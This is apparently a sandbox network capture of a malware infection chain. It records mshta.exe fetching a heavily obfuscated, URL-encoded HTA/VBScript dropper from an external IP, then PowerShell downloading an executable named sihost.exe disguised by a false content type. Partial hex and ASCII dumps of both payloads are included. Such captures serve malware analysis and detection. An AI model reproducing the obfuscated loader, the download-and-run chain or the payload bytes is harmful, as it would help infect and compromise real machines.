Aug 13, 2024 20:24:24.944986105 CEST	336	OUT	GET /xampp/sop/40.hta HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 192.3.176.138 Connection: Keep-Alive
Aug 13, 2024 20:24:25.427314043 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 13 Aug 2024 18:24:25 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Tue, 13 Aug 2024 15:03:58 GMT ETag: "14b8e-61f91eb4fa2a5" Accept-Ranges: bytes Content-Length: 84878 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/hta Data Raw: 3c 73 63 72 69 70 74 3e 0d 0a 3c 21 2d 2d 0d 0a 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 75 6e 65 73 63 61 70 65 28 22 25 33 43 73 63 72 69 70 74 25 32 30 6c 61 6e 67 75 61 67 65 25 33 44 4a 61 76 61 53 63 72 69 70 74 25 33 45 6d 25 33 44 25 32 37 25 32 35 33 43 25 32 35 32 31 44 4f 43 54 59 50 45 25 32 35 32 30 68 74 6d 6c 25 32 35 33 45 25 32 35 30 41 25 32 35 33 43 6d 65 74 61 25 32 35 32 30 68 74 74 70 2d 65 71 75 69 76 25 32 35 33 44 25 32 35 32 32 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 25 32 35 32 32 25 32 35 32 30 63 6f 6e 74 65 6e 74 25 32 35 33 44 25 32 35 32 32 49 45 25 32 35 33 44 45 6d 75 6c 61 74 65 49 45 38 25 32 35 32 32 25 32 35 32 30 25 32 35 33 45 25 32 35 30 41 25 32 35 33 43 68 74 6d 6c 25 32 35 33 45 25 32 35 30 41 25 32 35 33 43 62 6f 64 79 25 32 35 33 45 25 32 35 30 41 25 32 35 33 43 73 43 72 69 50 74 25 32 35 32 30 54 79 50 45 25 32 35 33 44 25 32 35 32 32 54 65 78 74 2f 76 42 53 43 72 69 70 54 25 32 35 32 32 25 32 35 33 45 25 32 35 30 41 44 49 6d 25 32 35 30 39 25 [TRUNCATED] Data Ascii: <script>...document.write(unescape("%3Cscript%20language%3DJavaScript%3Em%3D%27%253C%2521DOCTYPE%2520html%253E%250A%253Cmeta%2520http-equiv%253D%2522X-UA-Compatible%2522%2520content%253D%2522IE%253DEmulateIE8%2522%2520%253E%250A%253Chtml%253E%250A%253Cbody%253E%250A%253CsCriPt%2520TyPE%253D%2522Text/vBSCripT%2522%253E%250ADIm%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509
Aug 13, 2024 20:24:25.427376032 CEST	1236	IN	Data Raw: 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 Data Ascii: %2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%25
Aug 13, 2024 20:24:25.427411079 CEST	1236	IN	Data Raw: 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 Data Ascii: %2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%25
Aug 13, 2024 20:24:25.427447081 CEST	672	IN	Data Raw: 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 Data Ascii: 2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%252C%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%250
Aug 13, 2024 20:24:25.427582979 CEST	1236	IN	Data Raw: 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 Data Ascii: 09%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%
Aug 13, 2024 20:24:25.427634001 CEST	1236	IN	Data Raw: 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 Data Ascii: 09%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%
Aug 13, 2024 20:24:25.427669048 CEST	1236	IN	Data Raw: 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 Data Ascii: 9%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%253A%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2
Aug 13, 2024 20:24:25.427700996 CEST	672	IN	Data Raw: 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 Data Ascii: %2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%25
Aug 13, 2024 20:24:25.427733898 CEST	1236	IN	Data Raw: 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 Data Ascii: 9%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2
Aug 13, 2024 20:24:25.427767992 CEST	1236	IN	Data Raw: 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 64 74 4d 78 4f 47 62 4e 45 71 56 74 6c 6d 56 6f 62 76 50 4c 46 69 73 56 48 79 76 5a 64 46 63 69 79 53 6b 6e 4c 49 73 74 54 56 46 51 71 46 54 72 65 43 79 43 Data Ascii: %2509%2509%2509%2509%2509%2509dtMxOGbNEqVtlmVobvPLFisVHyvZdFciySknLIstTVFQqFTreCyCHBSJHFGzfMPyUCrqjuUHBNSSTPBAdkQDshQptQUcoPbFfdiBwXiWoyIvkaxkLbUKZjOhFLoCQXnXVfMPOAKKWMfsCthQSJKQSPoHhaPWcqbWdqdbzlcpolkGkcgNmRpTmhRkMqxdkeTXtrjfSmKieCXfxkXwIhK%2
Aug 13, 2024 20:24:25.432523966 CEST	1236	IN	Data Raw: 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 Data Ascii: %2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%25

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.22	49164	192.3.176.138	80	2480	C:\Windows\System32\mshta.exe

Timestamp	Bytes transferred	Direction	Data
Aug 13, 2024 20:24:28.934544086 CEST	413	OUT	GET /xampp/sop/40.hta HTTP/1.1 Accept: / Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 192.3.176.138 Connection: Keep-Alive Range: bytes=8897- If-Range: "14b8e-61f91eb4fa2a5"
Aug 13, 2024 20:24:29.440838099 CEST	1236	IN	HTTP/1.1 206 Partial Content Date: Tue, 13 Aug 2024 18:24:29 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Tue, 13 Aug 2024 15:03:58 GMT ETag: "14b8e-61f91eb4fa2a5" Accept-Ranges: bytes Content-Length: 75981 Content-Range: bytes 8897-84877/84878 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/hta Data Raw: 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 [TRUNCATED] Data Ascii: %2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509dtMxOGbNEqVtlmVobvPLFisVHyvZdFciySknLIstTVFQqFTreCyCHBS
Aug 13, 2024 20:24:29.440891981 CEST	1236	IN	Data Raw: 4a 48 46 47 7a 66 4d 50 79 55 43 72 71 6a 75 55 48 42 4e 53 53 54 50 42 41 64 6b 51 44 73 68 51 70 74 51 55 63 6f 50 62 46 66 64 69 42 77 58 69 57 6f 79 49 76 6b 61 78 6b 4c 62 55 4b 5a 6a 4f 68 46 4c 6f 43 51 58 6e 58 56 66 4d 50 4f 41 4b 4b 57 Data Ascii: JHFGzfMPyUCrqjuUHBNSSTPBAdkQDshQptQUcoPbFfdiBwXiWoyIvkaxkLbUKZjOhFLoCQXnXVfMPOAKKWMfsCthQSJKQSPoHhaPWcqbWdqdbzlcpolkGkcgNmRpTmhRkMqxdkeTXtrjfSmKieCXfxkXwIhK%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2
Aug 13, 2024 20:24:29.440928936 CEST	1236	IN	Data Raw: 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 Data Ascii: %2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%25
Aug 13, 2024 20:24:29.440963984 CEST	1236	IN	Data Raw: 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 Data Ascii: 2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%250
Aug 13, 2024 20:24:29.440998077 CEST	896	IN	Data Raw: 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 Data Ascii: %2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%25
Aug 13, 2024 20:24:29.441030025 CEST	1236	IN	Data Raw: 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 32 38 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 Data Ascii: 2509%2509%2509%2509%2509%2509%2509%2509%2528%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%250
Aug 13, 2024 20:24:29.441065073 CEST	1236	IN	Data Raw: 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 Data Ascii: 509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509
Aug 13, 2024 20:24:29.441099882 CEST	448	IN	Data Raw: 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 Data Ascii: 509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509
Aug 13, 2024 20:24:29.441142082 CEST	1236	IN	Data Raw: 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 Data Ascii: %2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2526%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%25
Aug 13, 2024 20:24:29.441179991 CEST	1236	IN	Data Raw: 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 Data Ascii: 2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%250
Aug 13, 2024 20:24:29.446197987 CEST	1236	IN	Data Raw: 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 35 30 39 25 32 Data Ascii: %2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%25

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.22	49165	192.3.176.138	80	3096	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Aug 13, 2024 20:24:36.824924946 CEST	333	OUT	GET /40/sihost.exe HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 192.3.176.138 Connection: Keep-Alive
Aug 13, 2024 20:24:37.305928946 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 13 Aug 2024 18:24:37 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Tue, 13 Aug 2024 12:53:46 GMT ETag: "c0000-61f9019a8bcbf" Accept-Ranges: bytes Content-Length: 786432 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/lnk Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 fc 56 bb 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 08 00 00 ec 0a 00 00 12 01 00 00 00 00 00 fe 0a 0b 00 00 20 00 00 00 00 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 60 0c 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 a8 0a 0b 00 53 00 00 00 00 20 0b 00 00 10 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0c 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELVf @ `@S @ H.text `.rsrc @@.reloc@@BH,0A P%( B%1(2(&~~"(0{%( c, : 6 5 6 (&*0~2~E~:
Aug 13, 2024 20:24:37.305984974 CEST	1236	IN	Data Raw: 1f 24 91 1f 12 59 0c 2b d2 d0 02 00 00 02 28 06 00 00 0a 25 0a 28 07 00 00 0a 17 13 05 11 05 45 06 00 00 00 27 00 00 00 00 00 00 00 21 00 00 00 27 00 00 00 3d 00 00 00 4c 00 00 00 7e 03 00 00 04 2d 0d 09 1f 50 91 09 1f 1c 91 59 13 05 2b cd 11 06 Data Ascii: $Y+(%(E'!'=L~-PY+v Y+(soW SY+t(E+&ddY+&Np0V
Aug 13, 2024 20:24:37.306021929 CEST	1236	IN	Data Raw: 13 04 2b a1 11 05 1f 3f 91 2b f5 14 0b 1e 13 04 2b 93 02 8c 04 00 00 1b 6f 10 00 00 0a 0b 1e 13 04 38 7f ff ff ff 06 17 58 0a 04 25 5a 0c 04 08 58 0c 1f 09 13 04 38 6a ff ff ff 08 18 5d 2d 08 18 13 04 38 5d ff ff ff 17 2b f6 07 74 02 00 00 1b 2a Data Ascii: +?++o8X%ZX8j]-8]+t1 Y8A^}((0s.o*0s"o0so*0~2EFR
Aug 13, 2024 20:24:37.306054115 CEST	1236	IN	Data Raw: 08 58 08 5d 08 58 08 5d 13 0b 1f 26 13 26 38 b7 fc ff ff 16 13 17 11 27 20 26 01 00 00 91 1f 0c 59 13 26 38 a2 fc ff ff 00 11 17 13 19 11 19 13 18 11 18 2c 09 1f 21 13 26 38 8c fc ff ff 11 28 20 9b 00 00 00 93 20 d5 90 00 00 59 2b e9 11 18 17 2e Data Ascii: X]X]&&8' &Y&8,!&8( Y+.( HY&8e+(s +Y&8P6&8C(T =Y&8-X.&8-&8( 3 gY+]X]8&8]
Aug 13, 2024 20:24:37.306086063 CEST	1236	IN	Data Raw: 2e 00 00 01 02 7e 08 00 00 04 72 4f 01 00 70 28 13 00 00 06 13 24 11 24 6f 30 00 00 0a 26 11 27 20 b1 00 00 00 91 1f 09 5a 13 26 38 c6 f7 ff ff 02 7b 0d 00 00 04 20 a4 00 00 00 1f 1a 73 1c 00 00 0a 6f 1d 00 00 0a 00 02 7b 0d 00 00 04 19 6f 1e 00 Data Ascii: .~rOp($$o0&' Z&8{ so{o'?X&8{rqpo"A"As1(2' 'OY&8X(3 H }s(4&81(5{o6(5{o60&8
Aug 13, 2024 20:24:37.306117058 CEST	1236	IN	Data Raw: 13 0a 1d 13 14 2b c8 11 08 75 3e 00 00 01 11 0a 74 05 00 00 1b 16 11 0b 20 be 00 00 00 20 e6 00 00 00 28 08 00 00 2b 11 09 75 3e 00 00 01 11 0a 75 05 00 00 1b 16 11 0a 75 05 00 00 1b 8e 69 20 9d 03 00 00 20 de 03 00 00 28 09 00 00 2b 25 13 0b 16 Data Ascii: +u>t (+u>uui (+%08s 0Y+[E44(u>,/ Y+ 3zY+t>oE3S'K
Aug 13, 2024 20:24:37.306150913 CEST	1236	IN	Data Raw: 00 02 7b 16 00 00 04 25 6f 48 00 00 0a 28 4b 00 00 0a 28 4c 00 00 0a 6f 1f 00 00 0a 00 16 0c 1c 13 05 2b 92 00 02 7b 16 00 00 04 25 6f 48 00 00 0a 07 08 8f 05 00 00 01 28 4d 00 00 0a 28 4c 00 00 0a 6f 1f 00 00 0a 18 13 05 38 67 ff ff ff 00 00 08 Data Ascii: {%oH(K(Lo+{%oH(M(Lo8gX )Y8Li-8:+**0~2~EU":\$, Y++{+,
Aug 13, 2024 20:24:37.306184053 CEST	1236	IN	Data Raw: 38 66 fc ff ff 00 02 72 65 02 00 70 28 1b 00 00 0a 00 02 72 65 02 00 70 6f 1f 00 00 0a 00 02 16 28 38 00 00 0a 1f 0f 0b 38 3e fc ff ff 00 02 28 39 00 00 0a 00 2a 00 00 5e 02 14 7d 19 00 00 04 02 28 11 00 00 0a 00 00 02 28 29 00 00 06 00 2a 0a 00 Data Ascii: 8frep(repo(88>(9^}(()**0c~E?.{rupo{rypo [+{ r}po01~2~ED
Aug 13, 2024 20:24:37.306217909 CEST	1236	IN	Data Raw: 0a 7d 1d 00 00 04 02 73 4e 00 00 0a 7d 1e 00 00 04 02 73 4e 00 00 0a 7d 1f 00 00 04 02 73 4e 00 00 0a 7d 20 00 00 04 1f 0f 0b 38 e4 fe ff ff 02 73 4e 00 00 0a 7d 21 00 00 04 02 73 17 00 00 0a 7d 22 00 00 04 02 73 16 00 00 0a 7d 23 00 00 04 02 28 Data Ascii: }sN}sN}sN} 8sN}!s}"s}#(8{o*{ Jso8{r7po{ so A Y8L{o{rpo # `Y
Aug 13, 2024 20:24:37.306255102 CEST	1236	IN	Data Raw: 00 0a 6f 2c 00 00 0a 09 1f 10 91 0b 38 2e fa ff ff 00 02 7b 22 00 00 04 20 c1 00 00 00 1f 17 73 19 00 00 0a 6f 1a 00 00 0a 00 02 7b 22 00 00 04 72 f5 03 00 70 6f 1b 00 00 0a 1f 26 0b 38 fd f9 ff ff 00 02 7b 22 00 00 04 20 99 00 00 00 1f 18 73 1c Data Ascii: o,8.{" so{"rpo&8{" so{"o8{"rpo{# jso8{#rpo{#oso ]Y8d{#o{#r'
